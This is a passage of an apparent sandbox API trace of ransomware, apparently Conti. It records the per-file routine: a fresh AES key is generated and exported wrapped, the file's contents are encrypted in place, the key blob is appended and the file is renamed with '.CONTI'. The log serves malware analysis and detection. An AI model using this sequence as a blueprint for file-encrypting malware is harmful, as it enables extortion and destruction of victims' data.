	[0110.647] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.647] WriteFile (in: hFile=0x3d0, lpBuffer=0x656514c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x656514c*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0110.648] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.649] ReadFile (in: hFile=0x3d0, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x292, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x292, lpOverlapped=0x0) returned 1
	[0110.649] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x292, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2a0) returned 1
	[0110.649] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.649] WriteFile (in: hFile=0x3d0, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x2a0, lpOverlapped=0x0) returned 1
	[0110.649] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.649] WriteFile (in: hFile=0x3d0, lpBuffer=0x6565140*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x6565140*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0110.649] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.649] CloseHandle (hObject=0x3d0) returned 1
	[0110.649] GetProcessHeap () returned 0x1720000
	[0110.649] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.649] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml"
	[0110.649] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.649] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\327__connections_cellular_globe (philippines)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\327__connections_cellular_globe (philippines)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.650] GetProcessHeap () returned 0x1720000
	[0110.650] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.650] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0110.650] GetProcessHeap () returned 0x1720000
	[0110.650] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6567ae8 | out: hHeap=0x1720000) returned 1
	[0110.650] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0110.650] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x65623a8 | out: phKey=0x65623a8*=0x17c7eb0) returned 1
	[0110.650] CryptExportKey (in: hKey=0x17c7eb0, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65623ac, pdwDataLen=0x573fb4c | out: pbData=0x65623ac*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0110.651] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\328__connections_cellular_globe (philippines)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0110.651] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\328__connections_cellular_globe (philippines)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0110.651] GetLastError () returned 0x0
	[0110.651] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=654) returned 1
	[0110.651] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x28e
	[0110.651] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.651] SetEndOfFile (hFile=0x3d0) returned 1
	[0110.652] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.652] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.652] WriteFile (in: hFile=0x3d0, lpBuffer=0x65623ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x65623ac*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0110.657] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.657] ReadFile (in: hFile=0x3d0, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x28e, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x28e, lpOverlapped=0x0) returned 1
	[0110.657] CryptEncrypt (in: hKey=0x17c7eb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x28e, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x290) returned 1
	[0110.658] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.658] WriteFile (in: hFile=0x3d0, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x290, lpOverlapped=0x0) returned 1
	[0110.658] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.658] WriteFile (in: hFile=0x3d0, lpBuffer=0x65623a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x65623a0*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0110.658] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.658] CloseHandle (hObject=0x3d0) returned 1
	[0110.658] GetProcessHeap () returned 0x1720000
	[0110.658] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.658] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml"
	[0110.658] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml.CONTI"
	[0110.658] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\328__connections_cellular_globe (philippines)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\328__connections_cellular_globe (philippines)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0110.659] GetProcessHeap () returned 0x1720000
	[0110.659] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.659] CryptDestroyKey (hKey=0x17c7eb0) returned 1
	[0110.659] GetProcessHeap () returned 0x1720000
	[0110.659] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6567c30 | out: hHeap=0x1720000) returned 1
	[0110.659] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0110.659] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x6562a80 | out: phKey=0x6562a80*=0x17c8370) returned 1
	[0110.659] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6562a84, pdwDataLen=0x573fb4c | out: pbData=0x6562a84*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0110.660] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\32__connections_cellular_azercell (azerbaijan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.660] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\32__connections_cellular_azercell (azerbaijan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0110.660] GetLastError () returned 0x0
	[0110.660] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=719) returned 1
	[0110.660] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cf
	[0110.660] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.661] SetEndOfFile (hFile=0x3d0) returned 1
	[0110.661] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.661] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.661] WriteFile (in: hFile=0x3d0, lpBuffer=0x6562a84*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x6562a84*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0110.668] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.668] ReadFile (in: hFile=0x3d0, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x2cf, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x2cf, lpOverlapped=0x0) returned 1
	[0110.668] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2cf, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2d0) returned 1
	[0110.668] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.668] WriteFile (in: hFile=0x3d0, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x2d0, lpOverlapped=0x0) returned 1
	[0110.668] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.668] WriteFile (in: hFile=0x3d0, lpBuffer=0x6562a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x6562a78*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0110.668] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.668] CloseHandle (hObject=0x3d0) returned 1
	[0110.669] GetProcessHeap () returned 0x1720000
	[0110.669] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.669] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml"
	[0110.669] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.669] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\32__connections_cellular_azercell (azerbaijan)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\32__connections_cellular_azercell (azerbaijan)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.669] GetProcessHeap () returned 0x1720000
	[0110.670] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.670] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0110.670] GetProcessHeap () returned 0x1720000
	[0110.670] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6561c18 | out: hHeap=0x1720000) returned 1
	[0110.670] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0110.670] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x6569a88 | out: phKey=0x6569a88*=0x17c8330) returned 1
	[0110.670] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6569a8c, pdwDataLen=0x573fb4c | out: pbData=0x6569a8c*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0110.670] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\331__connections_cellular_orange (poland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.671] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\331__connections_cellular_orange (poland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0110.671] GetLastError () returned 0x0
	[0110.671] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=845) returned 1
	[0110.671] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x34d
	[0110.671] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.671] SetEndOfFile (hFile=0x3d0) returned 1
	[0110.671] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.671] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.671] WriteFile (in: hFile=0x3d0, lpBuffer=0x6569a8c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x6569a8c*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0110.676] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.676] ReadFile (in: hFile=0x3d0, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x34d, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x34d, lpOverlapped=0x0) returned 1
	[0110.676] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x34d, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x350) returned 1
	[0110.676] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.676] WriteFile (in: hFile=0x3d0, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x350, lpOverlapped=0x0) returned 1
	[0110.676] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.676] WriteFile (in: hFile=0x3d0, lpBuffer=0x6569a80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x6569a80*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0110.676] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.676] CloseHandle (hObject=0x3d0) returned 1
	[0110.676] GetProcessHeap () returned 0x1720000
	[0110.676] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.677] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml"
	[0110.677] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.677] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\331__connections_cellular_orange (poland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\331__connections_cellular_orange (poland)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.679] GetProcessHeap () returned 0x1720000
	[0110.679] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.679] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0110.679] GetProcessHeap () returned 0x1720000
